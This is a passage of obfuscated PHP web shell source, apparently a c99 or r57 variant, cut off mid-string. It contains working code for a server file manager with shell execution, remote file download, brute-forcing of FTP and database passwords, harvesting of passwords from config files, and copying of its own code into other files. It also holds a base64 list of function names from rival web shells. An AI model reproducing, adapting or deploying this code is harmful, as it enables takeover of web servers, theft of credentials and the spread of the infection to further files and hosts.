$nix,$sh_exec,$ft,$d,$f;$r='';$a=array('functions'=>z9s(\"74\"),'edit'=>z9s(\"75\"),'text'=>z9s(\"79\"),'code'=>z9s(\"80\"),'html'=>z9s(\"81\"),'htmls'=>z9s(\"82\"),'exe'=>z9s(\"83\"),'sess'=>z9s(\"84\"),'sdb'=>z9s(\"85\"),'ini'=>z9s(\"86\"),'img'=>z9s(\"87\"),'hex'=>z9s(\"88\"));if(($wwwdir=z3k())!==false){if(@strstr($d.$f,$wwwdir)!==false){$a['web']=z9s(\"89\");}}$a['download']=z9s(\"76\");$fta=z4s($f);foreach($a as $k=>$v){if($k!='exe'||($k=='exe'&&$sh_exec))$r.=z7l(z5c(array('act'=>'f','d','f','ft'=>$k),z8v($v,(($ft==$k)?'12':((@in_array($k,$fta))?'13':'14')))));}echo z7s(z7i($r));}function z5f($d){global $found,$found_d,$found_f,$search_i_f,$search_i_d,$ar,$with_ls,$s_rec,$sdir;$d=z1a($d);$h=z8k($d);if(count($h)>0){foreach($h as $f){$f=z2h($f);if($f!=\".\"&&$f!=\"..\"&&$f!=''){$bool=(@empty($ar[\"sn_reg\"])&&@strpos($f,$ar[\"sn\"])!==false)||($ar[\"sn_reg\"]&&@preg_match(\"\/\".$ar[\"sn\"].\"\/\",$f));if(z4j($d.$f)){$search_i_d++;if(@empty($ar[\"st\"])&&(@empty($ar[\"s_fd\"])||$ar[\"s_fd\"]==\"2\")&&$bool){$found[]=$d.$f;$found_d++;}if(!z3j($d.$f)){if(@empty($s_rec)){z5f($d.$f);}elseif(@is_numeric($s_rec)){$countrec=@count(@explode('\/',@substr($d.$f,@strlen($sdir))));if($countrec<=$s_rec)z5f($d.$f);}}}else{if(@empty($ar[\"s_fd\"])||$ar[\"s_fd\"]==\"1\"){$search_i_f++;if($bool){if(!@empty($ar[\"st\"])){$r=z9p($d.$f);if($ar[\"st_wwo\"]){$ar[\"st\"]=\" \".@trim($ar[\"st\"]).\" \";}if(!$ar[\"st_cs\"]){$ar[\"st\"]=@strtolower($ar[\"st\"]);$r=@strtolower($r);}if($ar[\"st_reg\"]){$bool=@preg_match(\"\/\".$ar[\"st\"].\"\/\",$r);}else{$bool=@strstr($r,$ar[\"st\"]);}if($ar[\"st_not\"]){$bool=!$bool;}if($bool){$found[]=$d.$f;$found_f++;}}else{$found[]=$d.$f;$found_f++;}}}}}}}}function z5s($path,$wildcards,$recursive,$find=false){global $nix,$sh_exec;$ar_f=$ar_w=array();$path=@trim($path);$path=z1a($path);if(z4j($path)){$tmpw=@explode(\";\",$wildcards);if(@count($tmpw)>0){foreach(@array_unique($tmpw)as $tmp){$tmp=@trim($tmp);if(!@empty($tmp)&&!@in_array($tmp,$ar_w)){$ar_w[]=$tmp;}}if(@count($ar_w)>0){if($find){if($nix&&$sh_exec){if(!@is_numeric($recursive)||$recursive==\"0\"){$recursive=1;}else{$recursive++;}$searchres='';foreach($ar_w as $tmpw){$searchres.=z9t('find \"'.$path.'\" -maxdepth '.$recursive.' -type f -name \"'.$tmpw.'\"');}if($searchres!=''){$tmpres=@explode(\"\\n\",$searchres);$searchres='';foreach(@array_unique($tmpres)as $tmp_f){$tmp_f=@trim($tmp_f);if(!@in_array($tmp_f,$ar_f)){$ar_f[]=$tmp_f;}}}}}else{$fpaths=$tpaths=$spaths=array();$tpath='';$tpaths[]='';if(@is_numeric($recursive)&&$recursive>0){for($i=0;$i<$recursive;$i++){$tpath.='*\/';$tpaths[]=$tpath;}}foreach(@array_unique($tpaths)as $tpath){foreach(@array_unique($ar_w)as $fpath){$fpath=@trim($fpath);if(!@empty($fpath)){$fpaths[]=$tpath.$fpath;}}}foreach(@array_unique($fpaths)as $fpath){$spaths[]=$path.$fpath;}unset($fpaths);unset($tpaths);foreach($spaths as $spath){$tglob=@glob($spath);if(@count($tglob)>0){foreach($tglob as $tfile){if(!@in_array($tfile,$ar_f))$ar_f[]=$tfile;}}}unset($spaths);}}}}return@array_unique($ar_f);}function z3a($u){$s=@curl_init();@curl_setopt($s,CURLOPT_URL,$u);@curl_setopt($s,CURLOPT_USERAGENT,z7x('2','downloada'));@curl_setopt($s,CURLOPT_RETURNTRANSFER,true);$r=@curl_exec($s);@curl_close($s);return $r;}function z2f($u){$r='';if(!@strstr($u,':\/\/'))return $r;$s=@substr($u,0,@strpos($u,':\/\/')+3);$uh=@substr($u,@strlen($s));$e=@explode('\/',$uh);$h=$e[0];$p=@substr($uh,@strlen($h));$fp=@fsockopen($h,80,$errno,$errstr,30);@fputs($fp,\"GET $p HTTP\/1.1\\r\\n\");@fputs($fp,\"Host: $h\\r\\n\");@fputs($fp,\"User-Agent: \".z7x('2','downloada').\"\\r\\n\");@fputs($fp,\"Connection: close\\r\\n\\r\\n\");while(!@feof($fp)&&($debug=@fgets($fp))!=\"\\r\\n\");while(!@feof($fp))$r.=@fgets($fp,1024);@fclose($fp);return $r;}function z3h($host,$user,$pass,$port,$timeout){$ftp=@ftp_connect($host,$port,$timeout);if(!$ftp){return \"failed\";}else{if(@ftp_login($ftp,$user,$pass)){return \"valid\";}else{return \"invalid\";}@ftp_close($ftp);}}function z2t($host,$port,$time,$try1,$try2,$try3,$try4,$user,$pass=NULL){$count=0;$success=0;$res=0;$log=\"\";if($pass!=NULL){$count++;$res=z3h($host,$user,$pass,$port,$time);if($res==\"failed\"){echo\"Can't connect to $host:$port\\r\\n\";return false;}if($res==\"valid\"){echo\"[+] $user:$pass - success\\r\\n\";$log.=\"ftp:\/\/$host:$port - $user $pass\\r\\n\";$success++;}if($res!=\"valid\"&&$try4==\"1\"){$count++;$res=z3h($host,$user,z9i($pass),$port,$time);if($res==\"valid\"){echo\"[+] $user:\".z9i($pass).\" - success\\r\\n\";$log.=\"ftp:\/\/$host:$port - $user \".z9i($pass).\"\\r\\n\";$success++;}}}else{$count++;$res=z3h($host,$user,$user,$port,$time);if($res==\"failed\"){echo\"Can't connect to $host:$port\\r\\n\";return false;}if($res==\"valid\"){echo\"[+] $user:$user - success\\r\\n\";$log.=\"ftp:\/\/$host:$port - $user $user\\r\\n\";$success++;}if($res!=\"valid\"&&$try1==\"1\"){$count++;$res=z3h($host,$user,@strrev($user),$port,$time);if($res==\"valid\"){echo\"[+] $user:\".@strrev($user).\" - success\\r\\n\";$log.=\"ftp:\/\/$host:$port - $user \".@strrev($user).\"\\r\\n\";$success++;}}if($res!=\"valid\"&&$try2==\"1\"){$count++;$res=z3h($host,$user,$user.\"1\",$port,$time);if($res==\"valid\"){echo\"[+] $user:\".$user.\"1 - success\\r\\n\";$log.=\"ftp:\/\/$host:$port - $user \".$user.\"1\\r\\n\";$success++;}}if($res!=\"valid\"&&$try3==\"1\"){$count++;$res=z3h($host,$user,$user.\"123\",$port,$time);if($res==\"valid\"){echo\"[+] $user:\".$user.\"123 - success\\r\\n\";$log.=\"ftp:\/\/$host:$port - $user \".$user.\"123\\r\\n\";$success++;}}if($res!=\"valid\"&&$try4==\"1\"){$count++;$res=z3h($host,$user,z9i($user),$port,$time);if($res==\"valid\"){echo\"[+] $user:\".z9i($user).\" - success\\r\\n\";$log.=\"ftp:\/\/$host:$port - $user \".z9i($user).\"\\r\\n\";$success++;}}}return array($count,$success,$log);}function z4u($host,$user,$pass,$port,$dbtype,$base=''){$sql=new my_sql();$sql->db=$dbtype;$sql->host=$host;$sql->port=$port;$sql->user=$user;$sql->pass=$pass;if($base!=''){$sql->base=$base;}if($sql->connect()){return \"valid\";}else{return \"invalid\";}}function z2e($host,$port,$dbtype,$try1,$try2,$try3,$try4,$user,$pass=NULL,$sqldb=''){$count=0;$success=0;$res=0;$log=\"\";if($pass!=NULL){$count++;$res=z4u($host,$user,$pass,$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:$pass - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user $pass\\r\\n\";$success++;}if($res!=\"valid\"&&$try1==\"1\"){$count++;$res=z4u($host,$user,@strrev($pass),$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".@strrev($pass).\" - success\\r\\n\";$log.=\"$dbtype - $host:$port - $pass \".@strrev($user).\"\\r\\n\";$success++;}if($res!=\"valid\"&&$try4==\"1\"){$count++;$res=z4u($host,$user,z9i(@strrev($pass)),$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".z9i(@strrev($pass)).\" - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".z9i(@strrev($pass)).\"\\r\\n\";$success++;}}}if($res!=\"valid\"&&$try2==\"1\"){$count++;$res=z4u($host,$user,$pass.\"1\",$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".$pass.\"1 - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".$pass.\"1\\r\\n\";$success++;}if($res!=\"valid\"&&$try4==\"1\"){$count++;$res=z4u($host,$user,z9i($pass.\"1\"),$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".z9i($pass.\"1\").\" - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".z9i($pass.\"1\").\"\\r\\n\";$success++;}}}if($res!=\"valid\"&&$try3==\"1\"){$count++;$res=z4u($host,$user,$pass.\"123\",$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".$pass.\"123 - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".$pass.\"123\\r\\n\";$success++;}if($res!=\"valid\"&&$try4==\"1\"){$count++;$res=z4u($host,$user,z9i($pass.\"123\"),$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".z9i($pass.\"123\").\" - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".z9i($pass.\"123\").\"\\r\\n\";$success++;}}}if($res!=\"valid\"&&$try4==\"1\"){$count++;$res=z4u($host,$user,z9i($pass),$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".z9i($pass).\" - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".z9i($pass).\"\\r\\n\";$success++;}}}else{$count++;$res=z4u($host,$user,$user,$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:$user - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user $user\\r\\n\";$success++;}if($res!=\"valid\"&&$try1==\"1\"){$count++;$res=z4u($host,$user,@strrev($user),$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".@strrev($user).\" - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".@strrev($user).\"\\r\\n\";$success++;}if($res!=\"valid\"&&$try4==\"1\"){$count++;$res=z4u($host,$user,z9i(@strrev($user)),$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".z9i(@strrev($user)).\" - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".z9i(@strrev($user)).\"\\r\\n\";$success++;}}}if($res!=\"valid\"&&$try2==\"1\"){$count++;$res=z4u($host,$user,$user.\"1\",$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".$user.\"1 - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".$user.\"1\\r\\n\";$success++;}if($res!=\"valid\"&&$try4==\"1\"){$count++;$res=z4u($host,$user,z9i($user.\"1\"),$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".z9i($user.\"1\").\" - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".z9i($user.\"1\").\"\\r\\n\";$success++;}}}if($res!=\"valid\"&&$try3==\"1\"){$count++;$res=z4u($host,$user,$user.\"123\",$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".$user.\"123 - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".$user.\"123\\r\\n\";$success++;}if($res!=\"valid\"&&$try4==\"1\"){$count++;$res=z4u($host,$user,z9i($user.\"123\"),$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".z9i($user.\"123\").\" - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".z9i($user.\"123\").\"\\r\\n\";$success++;}}}if($res!=\"valid\"&&$try4==\"1\"){$count++;$res=z4u($host,$user,z9i($user),$port,$dbtype,$sqldb);if($res==\"valid\"){echo\"[+] $user:\".z9i($user).\" - success\\r\\n\";$log.=\"$dbtype - $host:$port - $user \".z9i($user).\"\\r\\n\";$success++;}}}return array($count,$success,$log);}function z2w($a,$b,$c){global $count,$success,$log;$count+=$a;$success+=$b;$log.=$c;}function z0j($a,$d){$z=new ZipArchive;if($z->open($a)===true){$z->extractTo($d);$z->close();return true;}else{return false;}}function z0b($return=false){@ob_start();@phpinfo(-1);$pi=@preg_replace(array('#^.*<body>(.*)<\/body>.*$#ms','#<h2>PHP License<\/h2>.*$#ms','#<h1>Configuration<\/h1>#',\"#\\r?\\n#\",\"#<\/(h1|h2|h3|tr)>#\",'# +<#',\"#[ \\t]+#\",'#&nbsp;#','#  +#','# class=\".*?\"#','%&#039;%','#<tr>(?:.*?)\" src=\"(?:.*?)=(.*?)\" alt=\"PHP Logo\" \/><\/a>'.'<h1>PHP Version (.*?)<\/h1>(?:\\n+?)<\/td><\/tr>#','#<h1><a href=\"(?:.*?)\\?=(.*?)\">PHP Credits<\/a><\/h1>#','#<tr>(?:.*?)\" src=\"(?:.*?)=(.*?)\"(?:.*?)Zend Engine (.*?),(?:.*?)<\/tr>#',\"# +#\",'#<tr>#','#<\/tr>#'),array('$1','','','','<\/$1>'.\"\\n\",'<',' ',' ',' ','',' ','<h2>PHP Configuration<\/h2>'.\"\\n\".'<tr><td>PHP Version<\/td><td>$2<\/td><\/tr>'.\"\\n\".'<tr><td>PHP Egg<\/td><td>$1<\/td><\/tr>','<tr><td>PHP Credits Egg<\/td><td>$1<\/td><\/tr>','<tr><td>Zend Engine<\/td><td>$2<\/td><\/tr>'.\"\\n\".'<tr><td>Zend Egg<\/td><td>$1<\/td><\/tr>',' ','%S%','%E%'),@ob_get_clean());$sections=@explode('<h2>',@strip_tags($pi,'<h2><th><td>'));unset($sections[0]);$pi=array();foreach($sections as $section){$n=@substr($section,0,@strpos($section,'<\/h2>'));@preg_match_all('#%S%(?:<td>(.*?)<\/td>)?(?:<td>(.*?)<\/td>)?(?:<td>(.*?)<\/td>)?%E%#',$section,$askapache,PREG_SET_ORDER);foreach($askapache as $m)$pi[$n][$m[1]]=(@isset($m[2])&&(!@isset($m[3])||$m[2]==$m[3]))?$m[2]:@array_slice($m,2);}return($return===false)?print_r($pi):$pi;}function z1n(){$distros=array(\"SUSE LINUX\"=>\"SuSE-release;UnitedLinux-release\",\"Mandrake\"=>\"mandrake-release\",\"MandrivaLinux\"=>\"mandrake-release\",\"Gentoo\"=>\"gentoo-release\",\"Fedora\"=>\"fedora-release\",\"RedHat\"=>\"redhat-release;redhat_version\",\"Slackware\"=>\"slackware-release;slackware-version\",\"Trustix\"=>\"trustix-release;trustix-version\",\"FreeEOS\"=>\"eos-version\",\"Arch\"=>\"arch-release\",\"Cobalt\"=>\"cobalt-release\",\"LinuxFromScratch\"=>\"lfs-release\",\"Rubix\"=>\"rubix-version\",\"Ubuntu\"=>\"lsb-release\",\"PLD\"=>\"pld-release\",\"CentOS\"=>\"redhat-release;redhat_version\",\"LFS\"=>\"lfs-release;lfs_version\",\"HLFS\"=>\"hlfs-release;hlfs_version\",\"Debian\"=>\"debian_release;debian_version\");foreach($distros as $k=>$v){$fs=@explode(\";\",$v);foreach($fs as $f){if(z4q(\"\/etc\/\".$f)){$t=@str_replace(\"\\n\",\"\",z9p(\"\/etc\/\".$f));$t=@trim($t);if(@preg_match(\"\/description=\\\"(.*)\\\"\/i\",$t,$m)){return $m[1];}else{return $k.\" ($t)\";}}}}return \"Unknown\";}function z3f(){$r=z9s(\"430\");$c=$k=$b=\"\";$f=z9p(\"\/proc\/cpuinfo\");if(!@empty($f)){$a=@explode(\"\\n\",$f);$n=0;for($i=0;$i<@count($a);$i++){@list($x,$y,)=@explode(\":\",$a[$i]);$x=@rtrim($x);$y=@rtrim($y);if($x==\"processor\"){$n++;$r=$n;}if($x==\"vendor_id\")$r.=$y;if($x==\"model name\")$r.=$y;if($x==\"cpu MHz\"){$r.=\" \".@floor($y);$k=\"y\";}if($x==\"cache size\")$c=$y;if($x==\"bogomips\")$b=$y;}if($k!=\"y\")$r.=\" <b>unknown<\/b>\";$r.=\" MHz \/ Cache: $c \/ BogoMIPS: $b\";}return $r;}function z2g($used){return '<div class=\"'.z4m(\"4\",\"3\").'\"><div class=\"'.z4m(\"5\",\"3\").'\" style=\"width:'.(($used>100)?\"100\":$used).'%;\">&nbsp;<\/div><\/div>';}function z5a(){global $sh_exec,$nix;$mem=$buff=$swap=array(\"\",z9s(\"430\"));if($nix&&$sh_exec){$m=z9t(\"free -b\");if(!@empty($m)){$e=@explode(\"\\n\",$m);foreach($e as $l){if(@preg_match('\/mem:\\s*([0-9]+)\\s*([0-9]+)\\s*([0-9]+)\/i',$l,$t)){$used=@round(($t[2]\/$t[1])*100);$mem=array(z2g($used),z9s(\"426\",z7c($t[1])).\" \".z9s(\"429\",z7c($t[2])).\" (\".$used.\"%) \".z9s(\"465\",z7c($t[3])));}elseif(@preg_match('\/swap:\\s*([0-9]+)\\s*([0-9]+)\\s*([0-9]+)\/i',$l,$t)){$used=@round(($t[2]\/$t[1])*100);$swap=array(z2g($used),z9s(\"426\",z7c($t[1])).\" \".z9s(\"429\",z7c($t[2])).\" (\".$used.\"%) \".z9s(\"465\",z7c($t[3])));}elseif(@preg_match('\/-\\\/\\+ buffers\\\/cache:\\s*([0-9]+)\\s*([0-9]+)\/i',$l,$t)){$tot=($t[1]+$t[2]);$used=@round(($t[1]\/$tot)*100);$buff=array(z2g($used),z9s(\"426\",z7c($tot)).\" \".z9s(\"429\",z7c($t[1])).\" (\".$used.\"%) \".z9s(\"465\",z7c($t[2])));}}}}return array($mem,$buff,$swap);}function z9e(){global $nix,$sh_exec,$dtotal,$dfree,$dused,$win;$it=@intval($dtotal);$iu=@intval($dused);$used=@round(($iu\/$it)*100);$r=array(array(z2g($used),z9s(\"426\",$dtotal).\" \".z9s(\"429\",$dused).\" (\".$used.\"%) \".z9s(\"465\",$dfree)));if($win&&z7r('disk_free_space')&&z7r('disk_total_space')){$tr=array();foreach(@range(\"B\",\"Z\")as $let){if(z4q($let.\":\/\")){$free=@disk_free_space($let.\":\/\");$total=@disk_total_space($let.\":\/\");if($free===false)$free=0;if($total===false)$total=0;if($free<0)$free=0;if($total<0)$total=0;$used=($total-$free);$pused=@round(($used\/$total)*100);$tr[$let.\":\"]=array(z2g($pused),z9s(\"426\",z7c($total)).\" \".z9s(\"429\",z7c($used)).\" (\".$pused.\"%) \".z9s(\"465\",z7c($free)));}}if(@count($tr)!==0)$r=$tr;}elseif($nix&&$sh_exec){$df=z9t(\"df -B1\");if(!@empty($df)){$e=@explode(\"\\n\",$df);@array_shift($e);$tr=array();foreach($e as $l){$p=@preg_split(\"\/ \/\",$l,NULL,PREG_SPLIT_NO_EMPTY);if(@count($p)!==6)break;$used=@round(($p[2]\/$p[1])*100);$tr[$p[5]]=array(z2g($used),z9s(\"426\",z7c($p[1])).\" \".z9s(\"429\",z7c($p[2])).\" (\".$used.\"%) \".z9s(\"465\",z7c($p[3])).\" FS: \".$p[0]);}if(@count($tr)!==0)$r=$tr;}}return $r;}function z1m($file,$user){global $passarray;if(!@isset($passarray))$passarray=array();if(!@isset($passarray[$user]))$passarray[$user]=array();$f=z9p($file);if(!empty($f)){$regvar='\/\\$([A-Za-z_][A-Za-z_0-9]*)\\s*=\\s*([\\'\"]{1})([^\\2\\s\\t\\r\\n]+)\\2\\s*;\/';$regvar1='\/([\\'\"]{1})([A-Za-z_][A-Za-z_0-9]*)\\1[\\s\\t\\r\\n]*=>[\\s\\t\\r\\n]*([\\'\"]{1})([^\\3\\s\\t\\r\\n]+)\\3\/';$regvar2='\/\\[([\\'\"]{1})([A-Za-z_][A-Za-z_0-9]*)\\1\\][\\s\\t\\r\\n]*=[\\s\\t\\r\\n]*([\\'\"]{1})([^\\3\\s\\t\\r\\n]+)\\3\/';$regconst='\/define\\s*\\(([\\'\"]{1})([A-Za-z_][A-Za-z_0-9]*)\\1\\s*,\\s*([\\'\"]{1})([^\\3\\s\\t\\r\\n]+)\\3\\s*\\)\\s*;\/';if(@preg_match_all($regvar,$f,$m)){$var=$m[1];$val=$m[3];for($i=0;$i<@count($var);$i++){if(@preg_match('\/pass\/i',$var[$i])){if(!@empty($val[$i])&&!@in_array($val[$i],$passarray[$user])){$passarray[$user][]=$val[$i];}}}unset($var);unset($val);unset($m);}if(@preg_match_all($regvar1,$f,$m)){$var=$m[2];$val=$m[4];for($i=0;$i<@count($var);$i++){if(@preg_match('\/pass\/i',$var[$i])){if(!@empty($val[$i])&&!@in_array($val[$i],$passarray[$user])){$passarray[$user][]=$val[$i];}}}unset($var);unset($val);unset($m);}if(@preg_match_all($regvar2,$f,$m)){$var=$m[2];$val=$m[4];for($i=0;$i<@count($var);$i++){if(@preg_match('\/pass\/i',$var[$i])){if(!@empty($val[$i])&&!@in_array($val[$i],$passarray[$user])){$passarray[$user][]=$val[$i];}}}unset($var);unset($val);unset($m);}if(@preg_match_all($regconst,$f,$m)){$var=$m[2];$val=$m[4];for($i=0;$i<@count($var);$i++){if(@preg_match('\/pass\/i',$var[$i])){if(!@empty($val[$i])&&!@in_array($val[$i],$passarray[$user])){$passarray[$user][]=$val[$i];}}}unset($var);unset($val);unset($m);}}unset($f);}function z2q($file){if(!z4e($file))return false;$me=z9p(__FILE__);if(!$me)return false;return z9y($file,$me);}function z2y($file,$possible=0,$replace=0){$replaced=\"\";$knownfunc=array(\"c99\/variant\"=>@explode(\"||\",@base64_decode(\"ZnNlYXJjaCgkZCl8fGZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRzaCwkZnFiX29ubHl3aXRoc2gpfHxnZXRzb3VyY2UoJGZuKXx8c2hleGl0KCl8fF9idWZmX3ByZXBhcmUoKXx8X3Nlc3NfcHV0KCRkYXRhKXx8ZGlzcGxheXNlY2luZm8oJG5hbWUsJHZhbHVlKXx8ZnNfY29weV9kaXIoJGQsJHQpfHxmc19jb3B5X29iaigkZCwkdCl8fGZzX21vdmVfZGlyKCRkLCR0KXx8ZnNfbW92ZV9vYmooJGQsJHQpfHxmc19ybWRpcigkZCl8fGZzX3Jtb2JqKCRvKXx8Z2V0bWljcm90aW1lKCl8fG15c2hlbGxleGVjKCRjbWQpfHxteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKXx8b25waHBzaHV0ZG93bigpfHxwYXJzZXNvcnQoJHNvcnQpfHxwYXJzZV9wZXJtcygkbW9kZSl8fHN0cjJtaW5pKCRjb250ZW50LCRsZW4pfHx0YWJzb3J0KCRhLCRiKXx8dmlld19wZXJtcygkbW9kZSl8fHZpZXdfcGVybXNfY29sb3IoJG8pfHx2aWV3X3NpemUoJHNpemUp\")),\"r57\/variant\"=>@explode(\"||\",@base64_decode(\"Y2YoJGZuYW1lLCR0ZXh0KXx8Y2hhbmdlX2RpdnN0KGlkKXx8Y2xvc2UoKXx8Y29tcHJlc3MoJiRmaWxlbmFtZSwmJGZpbGVkdW1wLCRjb21wcmVzcyl8fGNvbm5lY3QoKXx8Y3goKXx8RGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKXx8ZGl2KCRpZCl8fGR1bXAoJHRhYmxlKXx8ZXJyKCRuLCR0eHQ9JycpfHxleCgkY2ZlKXx8R2V0RmlsZU1hdGNoZXNDb3VudCgpfHxHZXRGaWxlc1RvdGFsKCl8fEdldE1hdGNoZXNDb3VudCgpfHxHZXRSZXN1bHRGaWxlcygpfHxHZXRUaW1lVG90YWwoKXx8R2V0VGl0bGVzKCl8fGdldF91c2VycygkZmlsZW5hbWUpfHxpbigkdHlwZSwkbmFtZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCl8fGxvY2F0ZSgkcHIpfHxtYWlsYXR0YWNoKCR0bywkZnJvbSwkc3ViaiwkYXR0YWNoKXx8bW9yZXJlYWQoJHRlbXApfHxtb3Jld3JpdGUoJHRlbXAsJHN0cj0nJyl8fHBlcm1zKCRtb2RlKXx8cmVhZHpsaWIoJGZpbGVuYW1lLCR0ZW1wPScnKXx8c2FmZV9leCgkY2ZlKXx8U2VhcmNoUmVzdWx0KCRkaXIsJHRleHQsJGZpbHRlcj0nJyl8fFNlYXJjaFRleHQoJHBocmFzZT0wLCRjYXNlPTApfHxzaG93X2RpdihpZCl8fHNyKCRsLCR0MSwkdDIpfHx0b1VURigkeCl8fFVfdmFsdWUoJHZhbHVlKXx8VV93b3Jkd3JhcCgkc3RyKXx8dmlld19zaXplKCRzaXplKXx8d2hpY2goJHByKXx8d3MoJGkp\")),\"c37\"=>@explode(\"||\",@base64_decode(\"Q2hlY2tCYXNlNjQoJEhhc2gpfHxDaGVja0hFWCgkSGFzaCwkQ2FzZSl8fENvbmZpZ3VyZUNoZWNrQm94ZXNQZXJtaXNzaW9ucygpfHxDb25maWd1cmVQZXJtaXNzaW9ucyh1c2VyKXx8R2V0TGFzdEVycm9yKCl8fEdldFBlcm1zKCYkRik=\")),\"BOFF\"=>@explode(\"||\",@base64_decode(\"YShhLGMscDEscDIscDMsY2hhcnNldCl8fGFjdGlvbkJydXRlZm9yY2UoKXx8YWN0aW9uQ29uc29sZSgpfHxhY3Rpb25GaWxlc01hbigpfHxhY3Rpb25GaWxlc1Rvb2xzKCl8fGFjdGlvbkxvZ291dCgpfHxhY3Rpb25OZXR3b3JrKCl8fGFjdGlvblBocCgpfHxhY3Rpb25SQygpfHxhY3Rpb25TYWZlTW9kZSgpfHxhY3Rpb25TZWNJbmZvKCl8fGFjdGlvblNlbGZSZW1vdmUoKXx8YWN0aW9uU3FsKCl8fGFjdGlvblN0cmluZ1Rvb2xzKCl8fEJPRkZFeCgkaW4pfHxCT0ZGRm9vdGVyKCl8fEJPRkZIZWFkZXIoKXx8Qk9GRkxvZ2luKCl8fEJPRkZQZXJtcygkcCl8fEJPRkZQZXJtc0NvbG9yKCRmKXx8Qk9GRlJlY3Vyc2l2ZUdsb2IoJHBhdGgpfHxCT0ZGc3RyaXBzbGFzaGVzKCRhcnJheSl8fEJPRkZWaWV3U2l6ZSgkcyl8fEJPRkZXaGljaCgkcCl8fGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl8fGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl8fGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl8fGNmKCRmLCR0KXx8Y29weV9wYXN0ZSgkYywkcywkZCl8fERiQ2xhc3MoJHR5cGUpfHxkZWxldGVEaXIoJHBhdGgpfHxtb3ZlX3Bhc3RlKCRjLCRzLCRkKXx8cHJvY2Vzc1JlcUNoYW5nZSgp\")),\"devshell\"=>@explode(\"||\",@base64_decode(\"Y2xpY2tjbWQoKXx8Y3MoJHQpfHxkbGZpbGUoJHUsJHApfHxkbGZpbGUoJHVybCwkZnBhdGgpfHxleGUoJGMpfHxncCgkZil8fGdzKCRmKXx8aW5pdCgpfHxybWRpcnMoJGQpfHxycCgkdCl8fHNob3dkaXIoJHB3ZCwkcHJvbXB0LCR3aW4pfHxzcygkdCl8fHNzYygkdCl8fHN3ZCgkcCl8fHR1a2FyKGwsYil8fHh3aGljaCgkcHIp\")),\"Egy\"=>@explode(\"||\",@base64_decode(\"Y2FsbGZ1bmNzKCRjbW5kKXx8Y2FsbHpvbmUoJG5zY2Rpcil8fGNmKCRmbmFtZSwkdGV4dCl8fGNoYW5nZV9kaXZzdChpZCl8fGNoYW5nZV9kaXZzdChpZCl8fGNsb3NlKCl8fGNvbXByZXNzKCYkZmlsZW5hbWUsJiRmaWxlZHVtcCwkY29tcHJlc3MpfHxkZWxtKCRkZWxtdHh0KXx8RGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKXx8ZG93bmxvYWQoJGR3ZmlsZSl8fGV4KCRjZmUpfHxHZXRGaWxlTWF0Y2hlc0NvdW50KCl8fEdldEZpbGVzVG90YWwoKXx8R2V0TWF0Y2hlc0NvdW50KCl8fGdldG1pY3JvdGltZSgpfHxHZXRSZXN1bHRGaWxlcygpfHxHZXRUaW1lVG90YWwoKXx8R2V0VGl0bGVzKCl8fGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0wKXx8aW5jbGluaygkbGluaywkdmFsKXx8bWFpbGF0dGFjaCgkdG8sJGZyb20sJHN1YmosJGF0dGFjaCl8fG1vcmVyZWFkKCR0ZW1wKXx8bW9yZXdyaXRlKCR0ZW1wLCRzdHI9JycpfHxyZWFkemxpYigkZmlsZW5hbWUsJHRlbXA9JycpfHxzYWZlX2V4KCRjZmUpfHxTZWFyY2hSZXN1bHQoJGRpciwkdGV4dCwkZmlsdGVyPScnKXx8U2VhcmNoVGV4dCgkcGhyYXNlPTAsJGNhc2U9MCl8fHNldF9lbmNvZGVyX2lucHV0KHRleHQpfHxVX3dvcmR3cmFwKCRzdHIpfHx2aWV3X3NpemUoJHNpemUp\")),\"itsecteam\"=>@explode(\"||\",@base64_decode(\"YWRkX2RpcigkbmFtZSl8fGJjbigkaXBiYywkcGJjKXx8YnlwY3UoJGZpbGUpfHxieXdzeW0oJGZpbGUpfHxjYWxjX2Rpcl9zaXplKCRwYXRoKXx8Y29weWYoJGZpbGUxLCRmaWxlMiwkZmlsZW5hbWUpfHxkZWxldGVEaXJlY3RvcnkoJGRpcil8fGRpcnBlKCRhZGRyZXMpfHxkaXJwbWFzcygkYWRkcmVzLCRtYXNzbmFtZSwkbW